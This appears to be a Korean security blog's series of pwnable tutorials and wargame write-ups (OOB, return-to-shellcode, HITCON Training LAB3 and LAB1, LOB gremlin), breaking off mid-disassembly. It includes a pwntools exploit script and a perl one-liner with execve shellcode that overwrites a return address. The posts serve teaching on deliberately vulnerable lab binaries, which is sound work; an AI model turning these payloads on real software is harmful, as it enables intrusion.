오늘은 간단하게 OOB(Out Of Boundary)에 대해 다뤄보고자 합니다. 매우 간단한 내용이라서 쉽게 이해할 수 있을겁니다. 물론 그만큼 치명적인 취약점이기도 합니다.

OOB란 말그대로 정해진 범위를 초과해서 비정상적인 행위를 유발하는 것이라고 생각하시면 됩니다. 비정상적인 행위란 임의의 코드를 실행하거나 함수를 불러오거나 비정상적인 값을 삽입하거나 이용하는 여러가지 행위들을 말합니다. 간단한 예시를 통해 확인해보겠습니다.

#include <stdio.h>

int main()
{
	int idx;
	int buf[5] = {0,};
	int chk = 0;
    
    printf("Input Index : ");
    scanf("%d",&idx);
    
    printf("Input Value : ");
    scanf("%d",&buf[idx]);
    
    if(chk == 1234)
    	printf("PASS\n");
    else
    	printf("FAIL\n");
    
    return 0;
}

프로그램의 내용은 간단합니다. 원하는 buf의 index값을 입력 받고 해당 위치에 정수를 입력 받은 뒤 뜬금 없지만 chk 값이 1234면 PASS 그렇지 않으면 FAIL을 출력하는 프로그램입니다. 그런데 여기서 문제가 발생합니다. index값을 입력받을때 입력값을 검증하지 않아서 정해진 buf 주소의 밖(out of boundary)에 사용자가 값을 입력할 수 있게됩니다. 이게 왜 문제가 되냐하면 실제 해당 프로그램에서 선언한 변수들이 나란히 붙어있기 때문에 idx값을 입력받을때 잘(?) 입력해주면 사용자가 chk값의 주소에 원하는 값을 넣을 수 있기 때문이죠.

쉬운 이해를 위해 각 변수의 주소값을 출력해주게 소스코드를 변경하여 실행해봤습니다. 자료형이 int기 때문에 각 주소는 4만큼 차이나고 buf[0]의 주소와 chk의 주소가 4만큼 차이나는 것을 확인할 수 있습니다. 그리고 주소상 chk가 buf[0]보다 위에 위치하고 있기 때문에 사용자가 buf의 index값을 입력할때 -1을 넣어주고 PASS조건인 1234를 입력한다면..?

위의 그림처럼 buf[idx]주소가 chk의 주소를 가르키게되고 해당 위치에 1234가 들어가서 정상적인 방법으로는 절대 PASS가 뜰 수 없는 PASS가 뜨는것을 확인할 수 있습니다.

위의 취약점을 방지하기 위해서는 idx값을 입력받을때 범위내인지 검증을 하는 과정을 넣어주면 됩니다. 사실.. 에당초 저런식의 프로그램이 흔치 않으니 저런일이 발생할 일이 거의 없긴 하겠지만말이죠..

'Pwnable > Tech' 카테고리의 다른 글

Return to Shellcode  (0) 2019.08.09
함수의 호출과 복귀  (0) 2019.08.09

 

 LAB2를 건너 뛰고 LAB3입니다. LAB2는 Shellcode에 대한 문제인데 블로그엔 아직 Shellcode에 대한 내용을 포스팅하지 않고 바로 Return to Shellcode로 넘어왔기에 흐름상 LAB3가 맞다고 판단했습니다. LAB3 안에는 다양한 파일들이 있는데 가급적이면 ret2sc 바이너리만 갖고 문제를 분석하고 풀도록 하겠습니다. ret2sc.py는 답지니까 가급적 보지 않는것을 추천드립니다.
 바이너리를 실행해보면 Name을 입력받고 어떤 입력을 받은 뒤 바로 끝납니다. 일단 바로 pwndbg로 까보도록하죠.

 

Dump of assembler code for function main:
   0x080484cd <+0>:	push   ebp
   0x080484ce <+1>:	mov    ebp,esp
   0x080484d0 <+3>:	and    esp,0xfffffff0
   0x080484d3 <+6>:	sub    esp,0x30
   0x080484d6 <+9>:	mov    eax,ds:0x804a040
   0x080484db <+14>:	mov    DWORD PTR [esp+0xc],0x0
   0x080484e3 <+22>:	mov    DWORD PTR [esp+0x8],0x2
   0x080484eb <+30>:	mov    DWORD PTR [esp+0x4],0x0
   0x080484f3 <+38>:	mov    DWORD PTR [esp],eax
   0x080484f6 <+41>:	call   0x80483c0 <setvbuf@plt>
   0x080484fb <+46>:	mov    DWORD PTR [esp],0x80485d0
   0x08048502 <+53>:	call   0x8048380 <printf@plt>
   0x08048507 <+58>:	mov    DWORD PTR [esp+0x8],0x32
   0x0804850f <+66>:	mov    DWORD PTR [esp+0x4],0x804a060
   0x08048517 <+74>:	mov    DWORD PTR [esp],0x0
   0x0804851e <+81>:	call   0x8048370 <read@plt>
   0x08048523 <+86>:	mov    DWORD PTR [esp],0x80485d6
   0x0804852a <+93>:	call   0x8048380 <printf@plt>
   0x0804852f <+98>:	lea    eax,[esp+0x1c]
   0x08048533 <+102>:	mov    DWORD PTR [esp],eax
   0x08048536 <+105>:	call   0x8048390 <gets@plt>
   0x0804853b <+110>:	nop
   0x0804853c <+111>:	leave  
   0x0804853d <+112>:	ret    
End of assembler dump.

 

 main을 보면 setvbuf, printf, read, gets가 눈에 들어옵니다. 이 문제의 포인트는 gets 함수입니다. C/C++ 코딩 경험이 좀 있으신 분들은 아실지도 모르겠습니다만 gets함수의 경우 사용자 입력을 받는 함수입니다. 그리고 이게 문제의 포인트가 되는 이유는 gets함수는 입력 길이에 제한을 두지 않습니다. 예를들어 char a[30] 를 선언하고 gets(a)를 했을때 길이가 50짜리인 문자열을 입력할 경우 30byte까지는 a에 들어가지만 남는 값들은 전부 overflow 됩니다. 좀 더 정확한 분석을 위해 입력을 받는 부분인 read와 gets에 breakpoint를 걸고 진행해보겠습니다.

 

 

 read를 호출할때 넘어가는 인자값에 대해 간단하게 살펴보고 가자면 일단 사용자 입력을 받고(fd : 0x0), name이라는 변수에 넣어주며(buf : 0x804a060 (name)), 그 길이는 50byte입니다. (nbytes : 0x32 == 50) read함수와 file descryptor(fd)에 대해 한번 찾아보시면 바로 알 수 있는 내용입니다. 그럼 바로 gets로 넘어가보겠습니다.

 

 

 gets를 호출하는 부분을 보면 arg[0]~[3]까지 존재하는데 arg[1]~[3]은 이전에 read함수를 호출할때 남아 있던 인자값들이며 gets함수에 영향을 주지 않습니다. 단, arg[0]는 입력한 값들을 저장할 주소입니다. 일단 A를 4개 넣고 넘어갑니다.

 

 

 A 4개가 0xffffd13c에 잘 들어간것을 확인했습니다. 그리고 ebp의 주소를 확인해보니 0xffffd158입니다. 자 그럼 현재까지 모은 정보를 정리해보면 마음껏 쓸 수 있는 50Byte짜리 공간이 메모리 어딘가에 있고, 길이를 체크하지 않는 함수를 써서 입력 받는 함수가 있고, 입력값은 ebp와 0x1c(28)만큼 차이나는 곳에 저장이 됩니다. 그럼 대충 아래와 같은 방법이 먹히겠네요!

 

 

 

 실제로 이 방법이 먹히는지 테스트해보도록 하겠습니다. 아래는 제가 짠 python 코드입니다.

...더보기
from pwn import *

p = process("./ret2sc")
name = 0x804a060
shellcode=asm(shellcraft.sh())
p.recvuntil(":")
p.sendline(shellcode)
p.recvuntil(":")

payload="A"*28+"B"*4+p32(name)
p.sendline(payload)
p.interactive()

끝!

'Pwnable > HITCON Training' 카테고리의 다른 글

[HITCON Training] LAB1 sysmagic  (0) 2019.08.03

 드디어 포스팅합니다.. 원래는 진작에 포스팅 됐어야했지만 최대한 보안 입문자들인 학교 후배들에게 도움이 되고자 Write-up을 작성하기 전에 풀이에 필요한 배경지식을 먼저 포스팅하고 올리기로 했습니다. 그래서 지금 쌓여있는 포스팅이 매우매우 많습니다. 제가 풀었던 문제들이나 공부했던 내용들을 다 포스팅하는게 목표인데 그게 쉽지가 않군요..ㅠㅠ 아무튼 풀이 시작합니다.

 

 

 gate 계정으로 로그인하면 위와 다르게 gremlin과 gremlin.c가 있을겁니다. 그리고 실행해보면 argv error를 뱉어내고 실행할때 인자값을 넘겨주면 입력한 인자값 그대로 출력하고 프로그램이 끝이 납니다. 그럼 바로 gdb로 분석을 시작해보겠습니다. 소스 파일을 보셔도되지만 가급적 보지 않는 것을 추천드립니다. 아래 접힌글에 코드를 첨부했으니 참고하실분들은 참고하시길 바랍니다.

...더보기
/*
	The Lord of the BOF : The Fellowship of the BOF
	- gremlin
	- simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

 어셈블리어를 몰라도 대충 호출되는 함수만봐도 입력한 인자값을 그대로 어딘가에 복사해주고 출력해준다는 것을 알 수 있습니다. 매우 간단한 프로그램이네요. 일단 strcpy를 호출하는 부분에 bp(BreakPoint)를 걸고 실행해서 분석을 하려고 하면..!

 

 

 권한 문제로 진행이 되지 않습니다! 아까 위쪽에 있던 cremlin이 이 문제를 해결하기 위해 있던겁니다. gremlin 바이너리 자체가 권한이 gremlin이라는 계정에 있는데 이 바이너리를 복사해주면 gate에게 권한이 있는 바이너리가 생성됩니다. 그러면 권한 문제가 깔끔하게 해결이 됩니다. 그럼 바이너리를 복사하고 아까 얘기했던 분석을 진행해보도록 하겠습니다.

$cp gremlin cremlin
$gdb cremlin

(gdb)b *main+54
(gdb)r AAAAAAAA

 

 실행하면 딱 breakpoint를 걸었던 곳에서 프로그램이 멈추는데 이때 x/x 명령어를 통해 레지스터와 메모리 내용들을 살펴볼 수 있습니다. 일단 ' x/x '의 명령어에 대해 설명드리자면 앞의 x 는 eXamine memory를 뜻하고 뒤의 x 는 heX를 뜻합니다. 그러니까 메모리의 내용을 16진수로 출력한다는 뜻이 됩니다. 그리고 뒤쪽 x앞에 숫자는 사이즈라고 생각하시면 되는데 정확히는 지정된 주소부터 지정된 단위의 지정된 사이즈까지 메모리 내용을 출력해 달라는 뜻입니다. 예를 들어 위에 나와 있는 x/80wx $esp는 현재 esp의 주소부터 80 Word 만큼의 메모리를 보겠다는 뜻입니다. 만약에 Double Word만큼 보겠다면 x대신 gx를 적어주면 되겠습니다. 그냥 x만 적는 경우 이전에 사용한 단위로 출력해줍니다.

 다시 풀이로 돌아와서 지난번 포스팅했던 Return to Shellcode에 기본적인 함수의 스택 구조를 설명했었는데 그 내용을 토대로 현재 main 함수의 스택 구조를 간단하게 살펴보자면 아래와 같습니다.

 

명칭 주소 내용
??? 0xbffffb34 0xbffffb74
??? 0xbffffb30 0x00000002
RET 0xbffffb2c 0x400309cb
EBP(SFP) 0xbffffb28 0xbffffb48
.... ... ...
ESP 0xbffffa20 0xbffffa28

 

이전 포스팅에서 볼 수 없었던 ??? 항목 2개가 있는데 RET바로 위에 있는 물음표는 argc고 그 위에 있는것은 argv의 포인터 주소입니다. argc와 argv가 맞는지부터 확인하고 argc와 argv에 대해 설명해드리겠습니다.

 

 

 인자값으로 AAAA와 BBBB를 넘겨줘서 다시 실행시켜줬습니다. 중간에 띄어쓰기 꼭 넣어주셔야합니다. 그리고 argc에 해당하는 주소를 살펴보니 2에서 3으로 변경되어 있고 argv 포인터에 해당하는 주소를 살펴보니 3개의 주소 안에 바이너리의 경로와 인자값 AAAA와 BBBB가 있는 것을 확인할 수 있습니다. 이쯤되면 argc와 argv가 뭔지 감이 오실거라 생각합니다만 혹시 아직 잘 모르겠다 하시는 분들을 위해 한번 정리해보자면

 

argv[0] argv[1] argv[2]
File full path
/home/gate/cremlin
First argument
AAAA
Second argument
BBBB

 

 위와 같이 되겠습니다. argc는 argv의 개수라고 보시면 편하겠네요. 자 그럼 메인 함수의 스택 구성에 대해 파악했으니 다시 바이너리 분석으로 돌아가서 마저 분석해보도록 하겠습니다.

 

 

 다시 strcpy을 호출하는 부분에 bp를 걸고 AAAABBBB를 인자값으로 넣고 실행했습니다. strcpy호출 전/후 차이를 보시면 빨간 박스 부분에 기존의 어떤한 값에서 0x41414141과 0x42424242로 변경된것을 확인할 수 있습니다. 이 값들은 'A'와 'B'의 아스키코드를 16진수로 표현한 값입니다. 자, 그럼 strcpy에서 argv[1]의 값을 읽어와 저 위치에 넣어준다는 뜻이 되겠죠? 그렇다면 저 위치에 Shellcode를 넣고 EBP까지 무의미한 값을 넣은다음 Return Address에 저 위치의 주소를 넣으면 Shellcode가 실행이 되겠군요!
 그럼 먼저 정확히 얼마만큼의 데이터를 넣어야 EBP까지 덮어 씌워지는지 확인해보겠습니다. 단순히 EBP 주소 - 0x41414141의 주소를 하면되겠네요.

(gdb) x/x $esp+8
0xbffffa28:	0x41414141
(gdb) x/x $ebp
0xbffffb28:	0xbffffb48

 스샷은 사치니까 그냥 gdb명령어와 결과를 복붙했습니다. 보면 주소값이 0xbffffa28과 0xbffffb28입니다. 차이가 정확히 0x100만큼 차이나네요! 그리고 0x100은 10진수로 256입니다. 그럼 아래와 같은 값을 넣으면 Shellcode가 실행되겠죠?

 

0xbffffa28 0xbffffa28 ~ $EBP-4 EBP(SFP) Return Address
Shellcode AAAAAAAA....
[(260 - Shellcode Length) * A]
0xbffffa28

 

쉘코드는 인터넷에서 하나 긁어오겠습니다. 제가 긁어온 쉘코드는 33Byte짜리 쉘코드입니다. 그럼 다시 정리하자면

Shellcode(33byte) + A(227Byte) + 0xbffffa28(4Byte)

가 되겠군요. 근데 A를 223개를 수동으로 입력할 수 없으니 스크립트를 이용해서 할겁니다. 스크립트는 Perl이든 Python이든 상관 없으니 편하신걸로 사용하면 됩니다. 그럼 한번 시도해보도록 하죠.

 

$./cremlin `perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80","A"x227,"\x28\xfa\xff\xbf"'`

 

 예상과 다르게 Illegal instruction이 터지면서 프로그램이 종료됩니다. 그 이유는 argv에 있습니다. gdb에서 위와 같은 코드를 그대로 실행하고 분석해보겠습니다.

 

 
 일단 저희가 예상한대로 잘 덮어졌습니다. Return Address가 0xbffffa28로 덮어 씌워졌는데 막상 저 위치를 보니 Shellcode가 아니라 'A'가 있습니다. 그리고 Shellcode는 0xbffffa28이 아니라 0xbffff928에 있네요! 기존 주소에서 딱 0x100만큼 밀렸습니다! 주소가 밀린 이유는 argv 때문입니다. 저희가 처음에는 인자값으로 AAAABBBB, 총 8Byte짜리 값을 넘겼고 이번엔 인자값으로 Shellcode(33Byte) + A(227Byte) + Return Address(4Byte), 총 264Byte를 넘겼죠. 그럼 argv에 그만큼 추가 공간이 필요하고 그 공간을 확보하느라 나머지 주소가 전부다 0x100만큼 밀린겁니다. 그럼 주소값을 수정해서 다시 시도해보겠습니다.

 

$./gremlin `perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80","A"x227,"\x28\xf9\xff\xbf"'`

끝!

 

'Pwnable > LOB(Red Hat)' 카테고리의 다른 글

LOB(Redhat) 시작하기  (0) 2019.08.03

 지난번에 함수의 호출과 복귀에 대해 설명했으니 이번엔 가장 기초적인 Pwnable 기법인 'Return to Shellcode' 에 대해 포스팅 하겠습니다. Return to Shellcode란 함수의 기존 Return Address를 Shellcode가 있는 주소로 덮어씌워 함수가 종료되고 복귀할때 Shellcode로 복귀시켜 쉘코드 명령을 실행하게 하는 기법입니다.

 함수의 호출과 복귀에 대해서 알고 계신다면 대충 어떤 기법인지 감이 오실겁니다. 만약 함수의 호출과 복귀에 대해서 잘 모르신다면 이전에 제가 올린 포스팅('함수의 호출과 복귀')를 한번 읽고 오신다면 이해하기 훨씬 편하실겁니다. 모든 함수가 똑같지 않지만 일반적인 함수의 Stack은 아래와 같습니다.

 SFP(Stack Frame Pointer)를 기준으로 아래 부분은 해당 함수의 Stack 영역이라고 보면되고 보통 해당 영역에는 지역 변수와 매개 변수가 저장됩니다. 그런데 만약 공격자가 정해진 (지역/매개)변수의 크기 보다 훨씬 많은 데이터를 삽입하려고 한다면 어떻게 될까요? 예를 들어서 char 형 4칸짜리 배열이 있는데 입력을 ABCD 가 아닌 ABCDEFGH를 입력한다면? ABCD는 배열에 제대로 저장되지만 뒤에 있는 EFGH는 SFP를 덮어 씌우게 됩니다. 간단한 예제 프로그램을 하나 짜보고 확인해 보겠습니다.

#include <stdio.h>
#include <string.h>

int main()
{
  char a[4];
  strcpy(a,"ABCDEFGH");
}

 단순히 char형 배열에 정해진 사이즈보다 큰 사이즈를 넣어주는 프로그램입니다. 다만 이대로 컴파일해서 실행할 경우 Stack smashing detected 라는 에러 메세지를 뱉어내며 프로그램이 종료되게 됩니다. 이는 SSP(Stack Smashing Protector)라는 기능으로 말 그대로 스택 오버 플로우를 방지해주는 기능입니다. 이에 대한 자세한 내용은 나중에 보호기법을 소개하는 포스팅을 작성할때 하도록하고 지금 당장은 원활한 실습을 위해 해당 기능을 꺼주고 컴파일 하겠습니다.

$gcc -o test test.c -fno-stack-protector -g

 컴파일 후 바로 pwndbg를 이용해 분석해봤습니다. strcpy의 실행이 종료된 후 rbp 값을 보면 a 배열에 미처 담지 못하고 넘어온 EFGH가 들어가 있는것을 확인할 수 있습니다. 결국 Stack 영역에 정해진 변수의 사이즈보다 더 큰 데이터를 입력할 수 있다면 이를 이용해 Return Address를 조작할 수 있게 된다는 겁니다. 결국 공격자는 메모리 어딘가에 Shellcode를 삽입하고 함수의 Return Address를 Shellcode가 있는 위치의 주소로 덮어 씌워서 함수가 종료됐을때 공격자가 삽입한 Shellcode를 실행하게 유도할 수 있습니다! :)

 

간단 요약

'Pwnable > Tech' 카테고리의 다른 글

OOB(Out Of Boundary)  (0) 2020.06.14
함수의 호출과 복귀  (0) 2019.08.09

  본격적인 Pwnable에 대한 포스팅 시작하기 전에 필수 배경지식인 함수의 호출과 복귀(?)에 대해 먼저 포스팅 하고자 합니다. 직접 따라하면서 해보시는 것을 추천하지만 귀찮으시다면 옆에다 필기를 하면서 천천히 보시는걸 추천해드립니다. 그것도 귀찮다면 그냥 천천히 읽으셔도 됩니다만 아마 처음 접하시는 분들이라면 다소 머리가 아프실 수 있습니다.

 진행은 Ubuntu 18.04로 진행합니다. 실습을 위해서 Ubuntu 18.04gcc, gdb, pwndbg, vim(혹은 vi)이 필요합니다.
gcc, gdb, vim은 apt-get으로 설치 가능하나 pwndbg의 경우 설치법이 따로 있으니 검색하셔서 설치해주시기 바랍니다.

 진행전 알아둘 상식
1. 자료구조 Stack 에 대한 개념과 동작에 대한 이해
2. RBP, RSP, RIP 레지스터의 개념
3. 레지스터 개념이 어렵다면 RBP = 스택의 시작점, RSP = 스택의 꼭대기, RIP = 다음 실행할 명령어의 주소 보관함 정도로 알고 있기

 먼저 아래와 같은 프로그램을 작성한 뒤 컴파일 해줍니다. 원활한 분석을 위해 -g 옵션(디버깅 옵션)을 넣어주세요.

$vim test.c
#include <stdio.h>

void toast()
{
  printf("Hello Guys!\n");
}

int main(int argc, char* argv[])
{
  toast();
}
$gcc -o test test.c -g

 위 코드는 단순히 toast라는 함수를 호출하고 해당 함수에서 Hello Guys! 라는 메세지를 출력한 후 main으로 복귀, 종료되는 단순한 프로그램 입니다. argc와 argv에 대한 설명은 다음에 하기로 하고 천천히 따라서 실습해주시면 되겠습니다. 코드와 명령어의 구분을 위해 쉘에서는 앞에 $를 붙이고 gdb의 경우 앞에 (gdb)를 붙이도록 하겠습니다. 

$gdb test
(gdb)disass main
Dump of assembler code for function main:
   0x000000000000064d <+0>:	push   rbp
   0x000000000000064e <+1>:	mov    rbp,rsp
   0x0000000000000651 <+4>:	sub    rsp,0x10
   0x0000000000000655 <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000000000000658 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x000000000000065c <+15>:	mov    eax,0x0
   0x0000000000000661 <+20>:	call   0x63a <toast>
   0x0000000000000666 <+25>:	mov    eax,0x0
   0x000000000000066b <+30>:	leave  
   0x000000000000066c <+31>:	ret    
End of assembler dump.
   0x000000000000064d <+0>:	push   rbp
   0x000000000000064e <+1>:	mov    rbp,rsp
   0x0000000000000661 <+20>:	call   0x63a <toast>
   0x000000000000066b <+30>:	leave  
   0x000000000000066c <+31>:	ret    

 

 위의 어셈블리어는 main함수 전체에 대한 것이고 아래는 이번 포스팅 내용에 필요한 부분만 뽑아낸것으로 다른 부분은 모르셔도 함수의 호출과 복귀에 대해 이해하는데 전혀 지장이 없습니다. 그럼 toast함수의 내용도 살펴보겠습니다.

 

(gdb)disass toast
Dump of assembler code for function toast:
   0x000000000000063a <+0>:	push   rbp
   0x000000000000063b <+1>:	mov    rbp,rsp
   0x000000000000063e <+4>:	lea    rdi,[rip+0xaf]        # 0x6f4
   0x0000000000000645 <+11>:	call   0x510 <puts@plt>
   0x000000000000064a <+16>:	nop
   0x000000000000064b <+17>:	pop    rbp
   0x000000000000064c <+18>:	ret    
End of assembler dump.
   0x000000000000063a <+0>:	push   rbp
   0x000000000000063b <+1>:	mov    rbp,rsp
   0x000000000000064b <+17>:	pop    rbp
   0x000000000000064c <+18>:	ret    

 

 보시면 아시겠지만 main과 toast 함수 모두 공통되는 부분이 있습니다. 각 함수의 앞의 2줄과 맨 마지막줄이 공통인데 이를 '프롤로그'와 '에필로그'라고 부릅니다. 함수 사용을 위한 준비 과정과 마무리 과정이라고 생각하시면 되겠습니다. 그럼 다시 main 함수의 어셈블리 명령어로 돌아가서 천천히 분석해보도록 하겠습니다.
(참고 : 원래 에필로그는 보통 pop rbp, ret가 아닌 leave와 ret으로 구성되지만 위 예제는 leave대신 pop rbp만 있습니다. 이에 대한건 뒤에 설명드리겠습니다.)

 분석을 위해 main함수와 toast함수에 breakpoint를 걸어주고 실행해줍니다.

(gdb) b main
(gdb) b toast
(gdb) r

 

 여러분들이 저와 같은 환경을 구축해서 pwndbg를 쓰고 계시다면 저와 비슷한 화면을 보실 수 있으실겁니다. 보시면 call toast 직전에 bp(BreakPoint)가 걸려서 진행이 멈춘것을 보실 수 있습니다. 일단 이번 포스팅 내용과 큰 관련은 없으니 ni(Next Instruction) 명령어를 이용해 진행해주겠습니다.

 

(gdb)ni

 call toast를 하기 직전의 상황입니다. 해당 명령어는 이름에서 유추 할 수 있듯이 toast 함수를 호출하는 명령어입니다. 하지만 단순히 해당 함수를 호출하는게 아니라 아래와 같은 과정을 거칩니다.

1. Stack에 다음 명령어의 주소(0x555555554666 <main+25>              mov    eax, 0)를 PUSH.
2. 호출할 함수의 주소(toast <0x55555555463a>)로 JMP(jump)

 결국 현재 RSP 값에 -8을 하여 RSP 위치를 변경하고 변경된 위치에 다음 명령어의 주소를 저장한 뒤 toast 함수의 시작 주소로 이동(점프) 한다는 것입니다. 이런 방식을 통해 toast 함수가 끝난 뒤 main 함수로 복귀할때 정확히 어느 위치로 복귀할지 알려주는 것이죠. si 명령을 통해 직접 값의 변화를 살펴보겠습니다.

(gdb)si

 RSP부분만 비교해보시면 기존 값에서 정확히 8이 빠졌고 해당 위치엔 main+25에 해당하는 주소값이 들어가 있다는걸 볼 수 있습니다.
자 그리고 현재 push rbp를 진행하기 직전인데 현재 rbp의 값과 main함수에 있었을때 rbp값을 보면 동일하다는 것을 알 수 있습니다. 결국 push rbp는 '이전 함수 스택의 시작점(SFP, Stack Frame Pointer)'을 저장하는 행위라고 보시면 됩니다.

(gdb)ni

 push rbp를 해줬으니 당연히 rsp 값도 -8 만큼 변하게 됩니다. 이제 mov rbp, rsp를 진행할 차례인데 이 명령어를 알아 보기 쉽게 표현하자면 다음과 같습니다.

mov rbp, rsp   -->   rbp = rsp

 rbp에 rsp 값을 넣어준다는 것으로 '함수의 스택 시작지점'을 지정해주는 겁니다. 그리고 그 이후에 내용을 보면 lea와 call 명령어를 이용해 뭔가를 해주는데 ni 명령어를 이용해 넘어가보시면 아시겠지만 printf를 호출하는 부분입니다. 그 아래 nop이 있는데 이건 말 그대로 아무것도 안하는 명령어죠. 그 이후에 pop rbp를 하는데 이부분부터 복귀를 위한 명령어라고 볼 수 있습니다. 일단 pop rbp 실행 전까지 진행하고 자세히 보도록 하겠습니다.

 현재 rsp의 위치는 0x7fffffffdfe0이며 해당 위치에는 0x7fffffffe000라는 주소값이 위치해있습니다. pop rbp를 하면 rbp에 현재 rsp에 있는 값을 넣어주고 rsp를 +8 만큼 해준다는 뜻입니다. 그리고 현재 rsp값을 잘 살펴보면 toast 함수의 첫 부분에 저장했던 main함수의 rbp와 값이 같은것을 확인 할 수 있습니다.
 결국 '이 함수의 사용이 끝났고 이전 함수로 돌아가야 하니 스택 시작 지점을 이전 함수의 스택 시작 지점으로 돌리겠다.' 라는 뜻입니다.

(gdb)ni

 마지막으로 ret 입니다. ret는 말그대로 이전 함수로 돌아가는 명령어로 실제 명령어의 구성은 아래와 같습니다.

pop rip
jmp rip

 현재 rsp에 있는 값을 rip에 넣은 뒤 해당 위치로 점프한다는 겁니다. 그리고 이전에 pop rbp를 통해 rsp가 +8이 되면서 rsp는 이전에 저장해둔 'main 함수의 다음 명령어의 주소'를 갖고 있죠. 결국 rsp에 저장되어 있는 위치로 이동(점프)한다고 보시면 되겠습니다. 그럼 다시 main함수로 돌아가게되고 main 함수의 leave 부분을 살펴보도록 하겠습니다.

 leave는 이전 함수로 돌아가기전 현재 함수의 스택을 정리하는 명령어입니다. toast 함수에서 pop rbp를 했던것을 기억하시나요? leave는 그 앞에 mov rsp, rbp를 추가한 녀석입니다. 결국 leave의 명령어 구성은 아래와 같죠.

mov rsp, rbp
pop rbp

 스택 영역 어딘가에서 날뛰고 있는 rsp를 현재 함수의 스택 지점으로 부르고 그 뒤에 rbp에 rsp가 갖고 있는 값(이전 함수의 스택 시작점)을 넘기게 됩니다. 그리고 rsp는 +8이 되고 ret를 하게되어 프로그램은 종료됩니다.

 

너무 자세하게 쓰려고 하다보니 글이 정리가 안되어있다는 느낌이 강하게 드는데 나중에 천천히 다시 읽어보면서 정리해야겠습니다.

 

간단 요약

'Pwnable > Tech' 카테고리의 다른 글

OOB(Out Of Boundary)  (0) 2020.06.14
Return to Shellcode  (0) 2019.08.09

  HITCON Training 이라는 유명한 워게임...이라기엔 좀 그렇고 포너블을 연습하기 좋은 문제 모음(?)이라고 보는게 더 맞을것 같습니다. 원래 유례를 찾아 보려고 했는데 잘 나오지 않아서 찾지 못했습니다. 다만 이름으로 추정해보면 매년 열리는 HITCON에서 Training을 진행하는데 거기서 따온것 같습니다. HITCON Training은 총 15문제로 이루어져있으며 아래 링크에서 다운받을 수 있습니다.

[HITCON Training Download]

https://github.com/scwuaptx/HITCON-Training

 

문제 분석

  일단 lab1 에 들어가보면 sysmagic이라는 바이너리와 소스코드 파일이 있습니다. 원래 Training 때도 소스코드가 공개 됐었는지는 모르겠지만 보고하면 재미 없을것 같으니 최대한 소스코드는 무시하면서 풀기로 했습니다. 일단 무작정 바이너리를 실행하고 아무런 값이나 넣어봤으나 별다른 반응이 없어서 바로 pwndbg로 까보기로 했습니다.

[main 함수]


Dump of assembler code for function main:
   0x08048774 <+0>:	lea    ecx,[esp+0x4]
   0x08048778 <+4>:	and    esp,0xfffffff0
   0x0804877b <+7>:	push   DWORD PTR [ecx-0x4]
   0x0804877e <+10>:	push   ebp
   0x0804877f <+11>:	mov    ebp,esp
   0x08048781 <+13>:	push   ecx
   0x08048782 <+14>:	sub    esp,0x4
   0x08048785 <+17>:	mov    eax,ds:0x804a034
   0x0804878a <+22>:	push   0x0
   0x0804878c <+24>:	push   0x2
   0x0804878e <+26>:	push   0x0
   0x08048790 <+28>:	push   eax
   0x08048791 <+29>:	call   0x8048460 <setvbuf@plt>
   0x08048796 <+34>:	add    esp,0x10
   0x08048799 <+37>:	call   0x804859b <get_flag>
   0x0804879e <+42>:	mov    eax,0x0
   0x080487a3 <+47>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080487a6 <+50>:	leave  
   0x080487a7 <+51>:	lea    esp,[ecx-0x4]
   0x080487aa <+54>:	ret    
End of assembler dump.

  main 함수의 어셈블리 코드입니다. setvbuf와 get_flag를 호출하는것을 제외하면 특별하다라고 볼만한게 없습니다. 일단 이름에서부터 flag값을 알아낼 수 있을것 같은 get_flag 함수를 살펴보기로 합니다.

[get_flag 함수]


Dump of assembler code for function get_flag:
   0x0804859b <+0>:	push   ebp
   0x0804859c <+1>:	mov    ebp,esp
   0x0804859e <+3>:	sub    esp,0x88
   0x080485a4 <+9>:	mov    eax,gs:0x14
   0x080485aa <+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x080485ad <+18>:	xor    eax,eax
   0x080485af <+20>:	mov    DWORD PTR [ebp-0x3e],0x795f6f44
   0x080485b6 <+27>:	mov    DWORD PTR [ebp-0x3a],0x6b5f756f
   0x080485bd <+34>:	mov    DWORD PTR [ebp-0x36],0x5f776f6e
   0x080485c4 <+41>:	mov    DWORD PTR [ebp-0x32],0x5f796877
   0x080485cb <+48>:	mov    DWORD PTR [ebp-0x2e],0x745f796d
   0x080485d2 <+55>:	mov    DWORD PTR [ebp-0x2a],0x6d6d6165
   0x080485d9 <+62>:	mov    DWORD PTR [ebp-0x26],0x5f657461
   0x080485e0 <+69>:	mov    DWORD PTR [ebp-0x22],0x6e61724f
   0x080485e7 <+76>:	mov    DWORD PTR [ebp-0x1e],0x695f6567
   0x080485ee <+83>:	mov    DWORD PTR [ebp-0x1a],0x6f735f73
   0x080485f5 <+90>:	mov    DWORD PTR [ebp-0x16],0x676e615f
   0x080485fc <+97>:	mov    DWORD PTR [ebp-0x12],0x3f3f7972
   0x08048603 <+104>:	mov    WORD PTR [ebp-0xe],0x3f
   0x08048609 <+110>:	mov    BYTE PTR [ebp-0x6f],0x7
   0x0804860d <+114>:	mov    BYTE PTR [ebp-0x6e],0x3b
   0x08048611 <+118>:	mov    BYTE PTR [ebp-0x6d],0x19
   0x08048615 <+122>:	mov    BYTE PTR [ebp-0x6c],0x2
   0x08048619 <+126>:	mov    BYTE PTR [ebp-0x6b],0xb
   0x0804861d <+130>:	mov    BYTE PTR [ebp-0x6a],0x10
   0x08048621 <+134>:	mov    BYTE PTR [ebp-0x69],0x3d
   0x08048625 <+138>:	mov    BYTE PTR [ebp-0x68],0x1e
   0x08048629 <+142>:	mov    BYTE PTR [ebp-0x67],0x9
   0x0804862d <+146>:	mov    BYTE PTR [ebp-0x66],0x8
   0x08048631 <+150>:	mov    BYTE PTR [ebp-0x65],0x12
